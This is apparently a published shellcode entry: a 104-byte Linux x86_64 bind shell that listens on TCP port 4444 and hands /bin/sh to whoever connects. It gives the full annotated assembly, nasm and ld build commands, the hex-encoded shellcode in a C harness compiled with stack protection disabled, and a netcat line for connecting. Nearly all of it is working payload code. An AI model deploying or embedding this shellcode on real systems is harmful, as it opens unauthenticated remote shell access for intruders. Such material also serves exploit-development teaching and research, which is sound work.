;Title: Linux/x86_64 - Bind (4444/TCP) Shell (/bin/sh) (104 bytes)
;Author: Aron Mihaljevic
;Architecture: Linux x86_64
;Shellcode Length:  104 bytes
;github = https://github.com/STARRBOY  
;test shellcode = after you run the shellcode, open another terminal and run "netcat -vv 0.0.0.0 4444"


================== ASSEMBLY ========================================

global _start


section .text

_start:
    
  

  ;create_socket
  ;int socket(AF_INET, SOCK_STREAM, 0);

  push   41          ;sys_socket
  pop   rax
  push   2          ;AF_INET  
  pop   rdi
  push  1          ;SOCK_STREAM
  pop  rsi
  xor   rdx,  rdx
  syscall

  ;save the return value for future use
  xchg rdi, rax
  

  ; sin_zero:        0
    ; sin_addr.s_addr: INADDR_ANY = 0
    ; sin_port:        4444
    ; sin_family:      AF_INET = 2

  push  2                ;sin_family = AF_INET
  mov word [rsp + 2], 0x5c11  ;port = 4444
  push  rsp
  pop  rsi    




bind:
  ;int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);

  push   49            ;sys_bind
  pop   rax
  push  rsp  
  pop   rsi            ;sockaddr stack pointer
  push  16            ;sizeof sockaddr
  pop  rdx
  syscall


listen:
  ;int listen(int sockfd, int backlog);
    
  push   50        ;sys_listen
  pop   rax
  push  1
  pop  rsi            ;backlog = number of clients = 1 
  syscall

  
accept:
  ;int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);  


    

  push  43        ;sys_accept
  pop  rax
  sub  rsp,  16      ;size of the structure on the stack
  push  rsp
  pop  rsi            ;struct sockaddr
  push  16        ;length of the  address
  push  rsp        ;stack pointer for struct size
  pop  rdx    
  syscall
  
  
  xchg r10,   rax      ;save client socket in r10, since we won't use that register  for any other operation

  
close:
  ;int close(int fd);
  
  push  3        ;sys_close
  pop   rax
  push  rax        ;save 3 on the stack for rsi in dup2
  syscall

  
  xchg    rdi,  r10  ;client socket as first parameter for dup2
  pop   rsi        ;parameter for dup2 = 3 
  
dup2loop:
  
  ; int dup2(int oldfd, int newfd);

  push  33        ;sys_dup2
  pop      rax
  dec   rsi    
  syscall
  loopnz  dup2loop  
    


spawn_shell:
  
  ;int execve(const char *filename, char *const argv[],char *const envp[]);

  xor     rsi,  rsi               ;clear rsi
  push  rsi                       ;push null on the stack
  mov   rdi,  0x68732f2f6e69622f   ;/bin//sh in reverse order
  push  rdi
  push  rsp    
  pop      rdi                    ;stack pointer to /bin//sh
  mov   al,      59            ;sys_execve
  cdq                          ;sign extend of eax
  syscall






=======Generate Shellcode==========================================
nasm -felf64 tcp_bind_shell.nasm -o tcp_bind_shell.o 
ld tcp_bind_shell.o -o tcp_bind_shell


=========generate C program to exploit=============================
gcc -fno-stack-protector -z execstack bind.c -o bind


======================C program=====================================

#include <stdio.h>
#include <string.h>

unsigned char shellcode[]=\
     "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f\x05"
     "\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x11\x5c\x54\x5e\x6a"
     "\x31\x58\x54\x5e\x6a\x10\x5a\x0f\x05\x6a\x32\x58\x6a\x01"
     "\x5e\x0f\x05\x6a\x2b\x58\x48\x83\xec\x10\x54\x5e\x6a\x10"
     "\x54\x5a\x0f\x05\x49\x92\x6a\x03\x58\x50\x0f\x05\x49\x87"
     "\xfa\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\xe0\xf6\x48\x31"
     "\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54"
     "\x5f\xb0\x3b\x99\x0f\x05";


int main(){

        printf("length of your shellcode is: %d\n", (int)strlen(shellcode));

        int (*ret)() = (int(*)())shellcode;

        ret();
}